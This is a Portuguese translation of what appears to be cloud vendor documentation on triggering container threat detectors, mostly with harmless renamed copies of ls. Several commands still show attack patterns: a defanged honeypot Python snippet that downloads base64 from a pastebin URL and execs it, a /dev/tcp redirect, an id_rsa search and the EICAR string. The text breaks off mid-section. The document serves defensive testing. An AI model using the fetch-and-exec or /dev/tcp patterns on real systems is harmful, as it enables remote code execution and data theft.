Esta página foi traduzida pela API Cloud Translation.

Como testar o Container Threat Detection
Mantenha tudo organizado com as coleções Salve e categorize o conteúdo com base nas suas preferências.

Nesta página, explicamos como verificar se o Container Threat Detection está funcionando por meio do acionamento intencional de detectores e da verificação de descobertas. O Container Threat Detection é um serviço integrado dos níveis Premium e Enterprise do Security Command Center. Para ver as descobertas do Container Threat Detection, é preciso ativá-la nas configurações de Serviços do Security Command Center.

Antes de começar

Para detectar possíveis ameaças aos contêineres, verifique se os clusters estão em uma versão compatível do Google Kubernetes Engine (GKE). Para mais informações, consulte Como usar uma versão compatível do GKE.

Ativar detectores

Os detectores Added Binary Executed, Added Library Loaded, Execution: Program Run with Disallowed HTTP Proxy Env, Exfiltration: Launch Remote File Copy Tools in Container e Defense Evasion: Launch Code Compiler Tool In Container estão desativados por padrão. Para testar esses detectores, é necessário ativá-los explicitamente:

Verifique o status do detector:

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

Ative o detector Added Binary Executed:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Ative o detector Added Library Loaded:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Ative o detector Execution: Program Run with Disallowed HTTP Proxy Env:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Ative o detector Exfiltration: Launch Remote File Copy Tools in Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Ative o detector Defense Evasion: Launch Code Compiler Tool In Container:

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Defina as variáveis de ambiente

Para testar os detectores, use o console Google Cloud e o Cloud Shell. É possível definir variáveis de ambiente no Cloud Shell para facilitar a execução de comandos. As variáveis a seguir são usadas para testar todos os detectores do Container Threat Detection.

Acesse o console doGoogle Cloud .

Acessar o console do Google Cloud
Selecione o projeto que contém o contêiner que você quer usar.
Clique em Ativar o Cloud Shell.
No Cloud Shell, defina as variáveis de ambiente:
1. A zona em que seu cluster está:
```
export ZONE=CLUSTER_ZONE
```
2. O projeto em que o contêiner está:
```
export PROJECT=PROJECT_ID
```
3. O nome do cluster:
```
export CLUSTER_NAME=CLUSTER_NAME
```

As variáveis são definidas. As seções a seguir incluem instruções para testar detectores do Container Threat Detection.

Adição de binário executado

Para acionar uma descoberta de adição de binário executado, solte um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local e o executa. A execução do binário é inesperada porque a cópia do binário não fazia parte da imagem do contêiner original, mesmo quando essa imagem estava no Ubuntu 24.04, e os contêineres são imutáveis.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Solte um binário e execute-o:

Nó x86:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Nó ARM:

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Este procedimento de teste criará uma descoberta executada em binário que você possa ver no Security Command Center e no Cloud Logging se tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas executadas em binário. Para ver todas as descobertas executadas binárias adicionadas enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Adição de biblioteca carregada

Para acionar uma adição de biblioteca carregada, solte uma biblioteca no contêiner e carregue-a. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /lib/x86_64-linux-gnu/libc.so.6 para outro local e, em seguida, carrega usando ld. A biblioteca carregada é inesperada porque a cópia da biblioteca não fazia parte da imagem do contêiner original, mesmo que essa imagem estivesse no Ubuntu 24.04 e os contêineres fossem imutáveis.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Solte uma biblioteca e use ld para carregá-la:

Nó x86:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Nó ARM:

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Esse procedimento de teste criará uma biblioteca adicionada carregada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center no nível da organização.

Para a redução de ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas adicionadas carregadas na biblioteca. Para consultar todas as descobertas adicionadas carregadas na biblioteca enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Comando e controle: ferramenta de esteganografia detectada

Para acionar uma descoberta Command and Control: Steganography Tool Detected (pré-visualização), um binário com recursos de manipulação de arquivos consistentes com as ferramentas de esteganografia precisa ser executado em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls e renomeia para steghide (ou outra ferramenta de esteganografia, como stegano). Esse comportamento é sinalizado como suspeito porque pode indicar uma tentativa de preparar um contêiner para ocultar ou extrair dados, possivelmente para fins maliciosos.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute um binário de ferramenta de esteganografia, como steghide:

Nó x86:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Nó ARM:

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Este procedimento de teste cria uma descoberta de Command and Control: Steganography Tool Detected que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Acesso a credenciais: pesquisar chaves privadas ou senhas

Para acionar uma descoberta de Credential Access: Search Private Keys or Passwords, um binário capaz de pesquisar o conteúdo do arquivo precisa ser executado em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls e renomeia para find (ou outro utilitário de pesquisa adequado, como grep). O binário renomeado é executado com argumentos que especificam um padrão de pesquisa indicativo de chaves ou senhas privadas ou padrões de conteúdo que sugerem senhas ou segredos. Essa ação é sinalizada como suspeita porque imita o comportamento observado ao tentar localizar informações sensíveis, como chaves privadas ou senhas, em um ambiente contêinerizado.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute um binário de ferramenta de pesquisa, como find, com os argumentos apropriados:

Nó x86:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Nó ARM:

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Este procedimento de teste cria uma descoberta Credential Access: Search Private Keys or Passwords que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Evasão de defesa: iniciar a ferramenta de compilador de código no contêiner

Para acionar uma descoberta de Defense Evasion: Launch Code Compiler Tool In Container (prévia), uma ferramenta de compilador de código precisa ser executada em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls e renomeia para gcc10 (ou outro compilador, como clang). Esse comportamento é sinalizado como suspeito porque pode indicar uma tentativa de compilar e executar código malicioso no contêiner para evitar a detecção ou modificar o comportamento dele.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute um binário do compilador, como gcc10, com argumentos apropriados:

Nó x86:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Nó ARM:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Este procedimento de teste cria uma descoberta de Defense Evasion: Launch Code Compiler Tool In Container que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: adição de binário malicioso executado

Para acionar uma execução: adição de descoberta de binário malicioso executado, solte um binário malicioso no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, cria um arquivo malicioso simulado e o executa. A execução do binário é inesperada porque o binário malicioso simulado não fazia parte da imagem do contêiner original, e o binário é um arquivo de teste EICAR, classificado como malicioso pela inteligência de ameaças.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Solte o binário EICAR e execute-o:

Nó x86:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Nó ARM:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Este procedimento de teste criará uma execução: adição de descoberta de binário malicioso que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas de execução: adição de binário malicioso executado. Para conferir todas as descobertas de execução: adição de descobertas de binário malicioso executado enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: escape de contêiner

Para acionar uma descoberta de execução: escape de contêiner, coloque um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para uma ferramenta suspeita (botb-linux-amd64) e a executa com argumentos adicionais. Essa ação é considerada suspeita porque a execução simula um comportamento consistente com uma tentativa de escape do contêiner.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Solte um binário da ferramenta de exploração de contêineres, como botb-linux-amd64, e execute-o:

Nó x86:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

Nó ARM:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Este procedimento de teste cria uma descoberta de execução: escape de contêiner que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução de vulnerabilidade de pesadelo de entrada

Para acionar uma descoberta de execução: execução de vulnerabilidade de pesadelo de entrada (pré-lançamento), execute o binário nginx no contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para um binário Nginx (nginx) e o executa com argumentos adicionais que fazem referência ao sistema de arquivos /proc. Essa ação é considerada suspeita porque simula um comportamento consistente com o exploit Ingress Nightmare (CVE-2025-1974), indicando uma possível execução remota de código.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Crie um binário Nginx como nginx e execute-o ao acessar o sistema de arquivos /proc:

Nó x86:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Nó ARM:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

Este procedimento de teste cria uma descoberta de execução: execução de vulnerabilidade de pesadelo de entrada que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução da ferramenta de ataque do Kubernetes

Para acionar uma descoberta de execução: execução de ferramenta de ataque do Kubernetes, coloque um binário no contêiner e execute-o. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para uma ferramenta suspeita (amicontained) e a executa. Essa ação é considerada suspeita porque simula um comportamento consistente com uma possível tentativa de execução de uma ferramenta de ataque do Kubernetes.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Solte um binário da ferramenta Kubernetes Attack, como amicontained, e execute-o:

Nó x86:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Nó ARM:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

Este procedimento de teste cria uma descoberta de execução: execução de ferramenta de ataque do Kubernetes que pode ser visualizada no Security Command Center e no Cloud Logging, se você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução da ferramenta de reconhecimento local

Para acionar uma descoberta Execution: Local Reconnaissance Tool Execution, coloque e execute um binário no contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outro local, renomeia para uma ferramenta suspeita (linenum.sh) e a executa. Essa ação é considerada suspeita porque a execução do binário renomeado simula um comportamento consistente com uma tentativa de reconhecimento local.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduza um binário da ferramenta de reconhecimento local, como linenum.sh, e execute ele:

Nó x86:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Nó ARM:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

Este procedimento de teste cria uma descoberta de execução: execução de ferramenta de reconhecimento local que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: Python malicioso executado

Para acionar uma descoberta de execução: Python malicioso executado, execute o Python no procedimento a seguir no contêiner.

O procedimento implanta a imagem mais recente do Python, copia o código Python que parece malicioso e o executa. Para acionar uma detecção, o código Python precisa aparecer como malicioso para o detector.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute o script a seguir em um novo contêiner.

Este código Python foi originado de um honeypot. No entanto, ele foi modificado para não executar o binário malicioso. A execução do script não causa atividade maliciosa no contêiner. O binário no URL referenciado não existe, e a tentativa de seguir o URL resulta em um erro 404. Isso já é esperado. A tentativa de fazer o download, de decodificar e de executar um binário usando um script inline é o que aciona a detecção.

Nó x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Nó ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

Este procedimento de teste cria uma descoberta de execução: Python malicioso executado que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para o Container Threat Detection. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: binário malicioso modificado executado

Para acionar uma descoberta de execução: binário malicioso modificado executado, modifique e execute um binário malicioso no contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04, modifica /bin/ls para um arquivo malicioso de teste EICAR e o executa. A execução do binário é inesperada porque o /bin/ls criado é modificado durante o tempo de execução do contêiner como um binário malicioso de teste EICAR, e o binário EICAR é um arquivo malicioso conhecido de acordo com a inteligência de ameaças.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Solte o binário EICAR e execute-o:

Nó x86:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Nó ARM:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"

Este procedimento de teste criará uma descoberta de execução: binário malicioso modificado executado que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Para reduzir o ruído, quando você cria um contêiner, o Container Threat Detection filtra temporariamente as descobertas de execução: execução de binário malicioso modificado. Para conferir todas as descobertas de execução: modificado malicioso binário executado enquanto um contêiner está sendo configurado, insira o prefixo ktd-test no nome do contêiner ou do pod, como no exemplo.

Execução: execução remota de código do Netcat no contêiner

Para acionar um evento Execution: Netcat Remote Code Execution In Container, um binário capaz de comunicação de rede (como o próprio netcat ou uma cópia renomeada de outro utilitário) precisa estar presente e ser executado dentro do contêiner. Este exemplo implanta a imagem mais recente do Ubuntu 24.04 como base. Ele copia o binário /bin/ls e renomeia essa cópia para netcat (um utilitário de rede). Esse binário renomeado é executado com argumentos adequados para interação de rede. Essa atividade é sinalizada como suspeita porque imita o comportamento observado durante tentativas reais de execução de código remoto em ambientes contêinerizados.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Introduza um binário de ferramenta de comunicação de rede, como netcat, e execute com os argumentos adequados:

Nó x86:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Nó ARM:

tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"

Este procedimento de teste cria uma descoberta Execution: Netcat Remote Code Execution In Container que pode ser visualizada no Security Command Center e no Cloud Logging se você tiver configurado o Logging para a detecção de ameaças do contêiner. A visualização de descobertas no Cloud Logging só estará disponível se você ativar o nível Premium ou Enterprise do Security Command Center.

Execução: possível execução de comando remoto detectada

Para acionar uma descoberta Execution: Possible Remote Command Execution Detected (pré-lançamento), a execução de um comando ou binário comumente associado à execução de comandos remotos precisa ser observada em um contêiner. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Ele copia /bin/ls e renomeia para touch (ou outra ferramenta, como find). Esse binário renomeado é executado com argumentos adequados para execução de comando remoto. Esse comportamento é sinalizado como suspeito porque pode indicar uma tentativa de estabelecer acesso remoto não autorizado ao contêiner ou dele.

Definir as variáveis de ambiente.

Use o Cloud Shell para acessar o plano de controle do cluster:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Execute um binário como touch com argumentos apropriados:

Nó x86:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"

Nó ARM:

tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
